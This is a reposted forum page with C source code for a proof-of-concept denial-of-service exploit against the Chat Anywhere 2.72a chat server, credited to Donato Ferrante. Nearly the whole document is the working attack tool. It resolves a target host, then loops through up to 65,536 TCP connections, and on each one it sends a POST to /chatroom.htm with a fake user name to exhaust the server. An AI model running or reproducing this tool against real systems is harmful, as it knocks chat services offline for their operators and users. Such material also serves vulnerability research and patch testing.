信息来源:Donato Ferrante
复制内容到剪贴板
代码:
/*
Chat Anywhere 2.72a - Denial Of Service - Proof Of Concept
Coded by: Donato Ferrante
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#ifdef WIN32
#include <windows.h>
#include <malloc.h>
#else
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <arpa/inet.h>
#include <netdb.h>
#endif
#define BUFFSZ 5012
#define PORT 80
#define VERSION "0.1.0"
#define REQ "POST /chatroom.htm HTTP/1.0\r\n\r\nUserName=fake_user"
void credits();
void usage();
void wronghost();
void end();
void load(int i);
u_long resolv(char *host);
int main(int argc, char **argv) {
int
err,
len,
sock,
i = 0,
j = 0,
port = PORT;
char
*buff;
struct sockaddr_in
sock_in;
credits();
if(argc < 2)
usage();
else if(argc > 2)
port = atoi(argv[2]);
#ifdef WIN32
WSADATA wsadata;
WSAStartup(MAKEWORD(1,0), &wsadata);
#endif
sock_in.sin_addr.s_addr = resolv(argv[1]);
sock_in.sin_port = htons(port);
sock_in.sin_family = AF_INET;
buff = (char *)malloc(BUFFSZ + 1);
if(buff == NULL)
exit(-1);
while(1) {
load(i++);
sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if(sock < 0)
break;
err = connect(sock, (struct sockaddr*)&sock_in, sizeof(sock_in));
if(err < 0 && i <= 1)
wronghost();
else if(err < 0)
break;
if(i >= 65536)
break;
len = sprintf(buff, "%s%d%d\r\n", REQ, j, i);
err = send(sock, buff, len, 0);
if(err < 0)
break;
err = recv(sock, buff, BUFFSZ, 0);
if(err < 0)
break;
#ifdef WIN32
closesocket(sock);
#else
close(sock);
#endif
}
free(buff);
end();
return 0;
}
u_long resolv(char *host) {
struct hostent *hp;
u_long host_ip;
host_ip = inet_addr(host);
if(host_ip == INADDR_NONE) {
hp = gethostbyname(host);
if(!hp) {
printf("\nError: Unable to resolve hostname (%s)\n", host);
exit(1);
} else host_ip = *(u_long *)(hp->h_addr);
}
return(host_ip);
}
void load(int i){
char a[4] = {'|', '/', '-', '\\'};
fprintf(stdout, " %c\r", a[i%4]);
}
void credits(){
fputs("\n\nChat Anywhere 2.72a - Denial Of Service - Proof Of Concept\n"
"Version: " VERSION "\n\n"
"coded by: Donato Ferrante\n"
"e-mail: [email]fdonato@autistici.org[/email]\n"
"web: [url]www.autistici.org/fdonato[/url]\n\n"
, stdout);
}
void usage(){
fputs("Usage: ChatAnywhere272a_DoS_poc <host> [port]\n", stdout);
exit(-1);
}
void wronghost(){
fputs("Wrong hostname or port.\n", stdout);
exit(-1);
}
void end(){
fputs("Chat Anywhere 2.72a - Denial Of Service - Proof_Of_Concept terminated.\n", stdout);
exit(-1);
}